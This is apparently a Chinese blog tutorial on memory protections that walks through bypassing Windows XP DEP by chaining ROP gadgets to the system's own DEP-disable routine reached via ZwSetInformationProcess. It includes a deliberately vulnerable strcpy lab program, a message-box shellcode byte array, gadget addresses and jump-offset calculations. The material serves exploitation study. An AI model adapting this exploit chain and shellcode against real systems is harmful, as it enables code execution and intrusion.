内存保护机制及绕过方法——利用Ret2Libc绕过DEP之ZwSetInformationProcess函数
1. DEP内存保护机制
1.1 DEP工作原理
分析缓冲区溢出攻击,其根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠向前兼容的修补来减少溢出带来的损害,数据执行保护DEP就是用来弥补计算机对数据和代码混淆这一天然缺陷的。
DEP的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时(注1),程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。如下图所示。
DEP的主要作用是阻止数据页(如默认的堆页、各种堆栈页以及内存池页)执行代码。微软从Windows XP SP2开始提供这种技术支持,根据实现的机制不同分为:软件DEP(Software DEP)和硬件DEP(Hardware-enforced DEP)。
软件DEP其实就是之前的safeSEH,与CPU硬件无关,其本质是Windows利用软件模拟实现DEP,对操作系统提供一定的保护。
硬件DEP才是真正意义的DEP,硬件DEP需要CPU的支持,AMD和Intel都为此做了设计,AMD称之为No-Execute Page-Protection(NX),Intel称之为Execute Disable Bit(XD),两者功能及工作原理在本质上是相同的。
操作系统通过设置内存页的NX/XD属性标记,来指明不能从该内存执行代码。为了实现这个功能,需要在内存的页面表(Page Table)中加入一个特殊的标识位(NX/XD)来标识是否允许在该页上执行指令。当该标识位设置为0里表示这个页面允许执行指令,设置为1时表示该页面不允许执行指令。
1.2 DEP绕过思路
i.利用未启用DEP保护机制的模块绕过DEP保护机制:
根据启动参数的不同,DEP工作状态可以分为四种:
(1)optin:默认仅将DEP保护应用于Windows系统组件和服务,对于其他程序不予保护,但用户可以通过应用程序兼容性工具(ACT,Application Compatibility Toolkit)为选定的程序启用DEP,在Vista下边经过/NXcompat选项编译过的程序将自动应用DEP.这种模式可以被应用程序动态关闭,它多用于普通用户版的操作系统,如Windows XP、Windows Vista、Windows7.
(2)optout:为排除列表程序外的所有程序和服务启用DEP,用户可以手动在排除列表中指定不启用DEP保护的程序和服务。这种模式可以被应用程序动态关闭,它多用于服务器版的操作系统,如 Windows Server 2003、Windows Server 2008.
(3)alwaysOn:对所有进程启用DEP 的保护,不存在排序列表,在这种模式下,DEP不可以被关闭,目前只有在64位的操作系统上才工作在AlwaysOn模式。
(4)alwaysOff:对所有进程都禁用DEP,这种模式下,DEP也不能被动态开启,这种模式一般只有在某种特定场合才使用,如DEP干扰到程序的正常运行。
在32位机子上有很多程序是不受DEP保护机制保护的,利用这些程序中的指令可以绕过DEP,方法类似于利用未启用safeSEH保护机制的模块绕过safeSEH机制。
ii.利用Ret2Libc绕过DEP:
Ret2Libc是Return-to-libc的简写,DEP机制不允许我们在非可执行页执行指令,那么,我们可以为shellcode中的每条指令都在代码区(可执行页)中找到一条替代指令,这种指令链就是传说中的ROP链了,通过ROP链就可以完成exploit了。
可以利用绕过DEP的API函数:
iii.利用可执行内存绕过DEP
有时候在进程的内存空间中会存在一段可读可写可执行的内存(这个就要看机缘了),如果我们能够将shellcode复制到这段内存中,并劫持程序流程,shellcode就可以执行了。
利用Ret2Libc绕过DEP之ZwSetInformationProcess函数
⑴. 原理分析:
i.相关概念:
一个进程的DEP设置标识保存在KPROCESS结构中的_KEXECUTE_OPTIONS上(只可以用于win xp,win 2000,win 2003),而这个标识可以通过API函数ZwSetInformationProcess函数和ZwQueryInformationProcess函数进行修改和查询。
Win XP下的KPROCESS结构:
nt!_EPROCESS
+0x000 Pcb
: _KPROCESS
+0x000 Header
: _DISPATCHER_HEADER
······
+0x06b Flags
: _KEXECUTE_OPTIONS
······
_KEXECUTE_OPTIONS选项:
+0x06b Flags : _KEXECUTE_OPTIONS
+0x000 ExecuteDisable : Pos 0, 1 Bit
+0x000 ExecuteEnable : Pos 1, 1 Bit
+0x000 DisableThunkEmulation : Pos 2, 1 Bit
+0x000 Permanent : Pos 3, 1 Bit
+0x000 ExecuteDispatchEnable : Pos 4, 1 Bit
+0x000 ImageDispatchEnable : Pos 5, 1 Bit
+0x000 Spare : Pos 6, 2 Bits
当DEP被启用时,ExecuteDisable 被置位,当DEP被禁用,ExecuteEnable 被置位,当Permanent 标志置位时表示这些设置是最终设置,不可更改。
NtSetInformationProcess函数:
将NtSetInformationProcess关闭函数参数设置如下参数,就可以关闭DEP保护机制。
ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE;
NtSetInformationProcess(
NtCurrentProcess(), // ProcessHandle = -1
ProcessExecuteFlags, // ProcessInformationClass = 0x22(ProcessExecuteFlags)
&ExecuteFlags, // ProcessInformation = 0x2(MEM_EXECUTE_OPTION_ENABLE)
sizeof(ExecuteFlags)); // ProcessInformationLength = 0x4
ii.思路分析:
通过上面相关概念的介绍,我们可以得到利用NtSetInformationProcess函数绕过DEP保护机制的思路,只要在调用NtSetInformationProcess函数之前利用ROP技术设置如上文提到参数,在调用NtSetInformationProcess函数,就可以关闭掉DEP机制了,(或者也可以查找系统中本身就又的一些关闭DEP的程序,比构造手动ROP链简单,但使用版本有限制)。
⑵.环境准备:
i.实验代码:
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x70\xE2\x92\x7C"//MOV EAX,1
RETN地址
"\x70\xdc\xec\x77"//将EBP指向可执行地址
"\xaa\xd3\x92\x7c"//增大ESP地址
"\x28\x4f\xc5\x7d"//jmp esp地址
"\x44\xcd\x93\x7c"//关闭DEP代码地址
"\xe9\x33\xff\xff\xff\x90\x90\x90"//长跳指令
;
void test()
{
char
tt[176];
strcpy(tt,shellcode);
}
int main()
{
HINSTANCE
hInst = LoadLibrary("shell32.dll");
char
temp[200];
test();
return 0;
}
ii.测试环境:
测试平台:window xp with sp3(win7 上找不到可以利用的map文件)。
启用DEP保护机制:
编译环境:
为了避免其他保护机制的影响,直接用visual c++ 6.0编译。
⑶.调试分析:
找到存在溢出的函数strcpy:
缓冲区起点:0x0012fdfc
溢出点(函数返回地址):0x0012feb0
⑷.攻击过程:
i.确定覆盖面积:
覆盖面积
= 函数返回地址–缓冲区起始地址 + 4 = 0xB8 = 184(字节)
ii.编写payload(弹框):
这里偷懒,直接用了网上的,当然也可以用msfevon生成。
iii.查找系统中可能的关闭DEP的程序:
使用OllyFindAddr插件查找统中可能的关闭DEP的程序指令,结果如下:
结果如下:
得到的关闭DEP的程序指令起始地址:
0x7c93cd44
iii.了解关闭过程:
那么,接着上一步,我们直接将函数的返回地址覆盖成关闭DEP的程序指令起始地址,之后再跳转回去执行我们的恶意代码,就可以了???
答案当然是NO,
这里我们已经找到了这段关闭DEP的程序代码,但是,我们的攻击还是失败了,这就要分析一下这段代码是这门关闭DEP的,需要什么参数,是不是我们的命令不全,导致这个漏洞利用失败了。
观察程序,
只有在al = 1的时候,这个关闭DEP的程序才会继续执行下去,所以,就需要在调用这段程序之前,将eax的值赋为1。
这里在可执行区域查找指令得到指令(OllyFindAddr插件搜索结果的step2),得到指令地址0x7c92e270
将这个地址写在调用DEP关闭程序之前,那岂不是就OK了?
iv,调整ebp:
第iii步的执行结果如下:
哇???这?为什么?
因为我们的shellcode在覆盖的时候把栈的将来要EBP的地址覆盖掉了,而关闭程序中会以ebp为基址写入参数:
这个时候程序就崩溃了,我们覆盖的地址是没有写入权限的啊,,,
怎么办?
在执行关闭代码之前将ebp指向一个可以写的地址,怎么找?
在(OllyFindAddr插件搜索结果的step3)就有一些可以利用的指令地址,但是根据现场寄存器的情况可以得出,只有ESP保存的地址是可以写入的,所以就要ESP的地址写入到EBP中,指令:PUSH ESP POP EBP RET 4 ,PUSH ESP POP EBP指令将ESP的值写入到EBP中,esp值增加8字节。
所以在修正ebp指令的地址之后8字节处写入关闭DEP机制的程序地址,之后再写入跳转指令,跳回payload就可以了?
v.增大ESP:
上一步的运行结果如下:
?为什么?
因为,当执行关闭DEP的程序的时候,入栈的参数把返回这个程序的返回地址覆盖掉了,,,
观察参数入栈操作:
直接压入栈顶,和EBP没有关系,所以,这个时候,要想使参数不能覆盖掉返回地址,就需要将栈顶抬高:
查找指令 retn 0x28
将这个指令的地址写在调用关闭DEP程序指令地址(0x0012fec0)之前,为了达到控制EIP的目的,要对关闭DEP的程序的返回地址进行控制,可以看到返回地址位于栈0x0012febc处,返回后端栈顶值为0x0012fec4。所以就可在Ox0012febc处写入指令jmp esp的地址*(直接查找就可以),在0x0012febc处输入跳转指令。
vi.计算跳转指令
payload起始地址
= 0x0012fdfc
跳转起始地址
= 0x0012fec4
跳转距离
= 跳转起始地址 - payload起始地址 – 指令长度(5)= ffffff38
跳转指令:E938ffffff
vii.Shellcode结构:
viii.运行结果:
成功。
内存保护机制及绕过方法——利用Ret2Libc绕过DEP之ZwSetInformationProcess函数的更多相关文章
- 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之VirtualProtect函数
利用Ret2Libc绕过DEP之VirtualProtect函数 ⑴. 原理分析: i.相关概念: VirtualProtect()函数: BOOL WINAPI VirtualProtect( _ ...
- Linux下利用Ret2Libc绕过DEP
Linux下利用Ret2Libc绕过DEP ⑴. 原理分析: 系统库函数通常是不受DEP(关于DEP,可以查看我之前文章的详细介绍)保护的,所以通过将返回地址指向系统函数可以绕过DEP保护,所以可以 ...
- 内存保护机制及绕过方法——利用未启用SafeSEH模块绕过SafeSEH
利用加载模块之外的地址绕过safeSEH 前言:文章涉及的概念在之前的文章中都有过详细的讲解 ⑴. 原理分析: 当程序加载进内存中后,处理PE文件(exe,dll),还有一些映射文件,safeSEH ...
- 20155306 白皎 0day漏洞——漏洞利用原理之DEP
20155306 白皎 0day漏洞--漏洞利用原理之DEP 一.DEP机制的保护原理 1.为什么出现DEP? 溢出攻击的根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计 ...
- 内存保护机制及绕过方案——利用未启用SafeSEH模块绕过SafeSEH
前言:之前关于safeSEH保护机制的原理等信息,可在之前的博文(内存保护机制及绕过方案中查看). 利用未启用SafeSEH模块绕过SafeSEH ⑴. 原理分析: 一个不是仅包含中间语言(1L)且 ...
- 内存保护机制及绕过方案——从堆中绕过safeSEH
1.1 SafeSEH内存保护机制 1.1.1 Windows异常处理机制 Windows中主要两种异常处理机制,Windows异常处理(VEH.SEH)和C++异常处理.Windows异 ...
- 内存保护机制及绕过方案——通过覆盖虚函数表绕过/GS机制
1 GS内存保护机制 1.1 GS工作原理 栈中的守护天使--GS,亦称作Stack Canary / Cookie,从VS2003起开始启用(也就说,GS机制是由编译器决定的,跟操作系统 ...
- UAC 实现原理及绕过方法-打洞专用
首页 新随笔 订阅 管理 随笔 - 7 文章 - 0 评论 - 0 UAC 实现原理及绕过方法 目录 0x01 UAC 实现方法(用户登陆过程)0x02 UAC 架构0x03 触发UAC0x0 ...
- UAC 实现原理及绕过方法
目录 0x00 UAC 工作流程 0x01 UAC 实现方法(用户登陆过程) 0x02 UAC 架构 0x03 触发UAC 0x04 UAC 虚拟化 0x05 UAC 逆向分析 1x00 UAC By ...
随机推荐
- Druid学习之路 (二)Druid架构
作者:Syn良子 出处:https://www.cnblogs.com/cssdongl/p/9608812.html 转载请注明出处 Druid架构 Druid原本就设计为一个容易操作的面向云的多进 ...
- :Linux 系统日志管理 日志转储
Linux日志服务器设置 使用“@IP:端口”或“@@IP:端口”的格式可以把日志发送到远程主机上. 假设需要管理几十台服务器,每天的重要工作就是查看这些服务器的日志,可是每台服务器单独登录,并且查看 ...
- MySql中concat函数的用法(链接字符串)
MySQL中concat函数使用方法:CONCAT(str1,str2,…) 返回结果为连接参数产生的字符串.如有任何一个参数为NULL ,则返回值为 NULL. 注意:如果所有参数均为非二进制字符串 ...
- Java伙伴系统(模拟)
参考:https://labrick.cc/2015/10/12/buddy-system-algorithm/ 代码过烂 不宜参考. output: [operating.entity.Heap@4 ...
- CSS Fonts(字体)
CSS Fonts(字体) 一.serif和sans-serif字体之间的区别 注意: 在计算机屏幕上,sans-serif字体被认为是比serif字体容易阅读. 二.CSS字型 在CSS中,有两种类 ...
- Python3.x:SQLAlchemy操作数据库
Python3.x:SQLAlchemy操作数据库 前言 SQLAlchemy是一个ORM框架(Object Rational Mapping,对象关系映射),它可以帮助我们更加优雅.更加高效的实现数 ...
- JavaScript&jQuery获取url参数方法
JavaScript&jQuery获取url参数方法 function getUrlParam(name){ var reg = new RegExp("(^|&)" ...
- 解决 maven项目在eclipse中debug时看不到源码问题
第一步: 第二步:Configurations 里面的source里面是Default.把Defaul删除,选java project ,然后添加自己的项目 第三步:选中,并用命令跑tomcat 这样 ...
- 用maven按环境打包SpringBoot的不同配置文件
利用maven按环境打包SpringBoot的不同配置文件 application-dev.properties对应开发环境 application-test.properties对应测试环境 app ...
- python中的参数传递和返回值
python中的参数传递类似java,有着自己的内存回收机制,这和C++有着很大的差别. 1.函数的参数传递: >>> a = [, , ] >>> def fun ...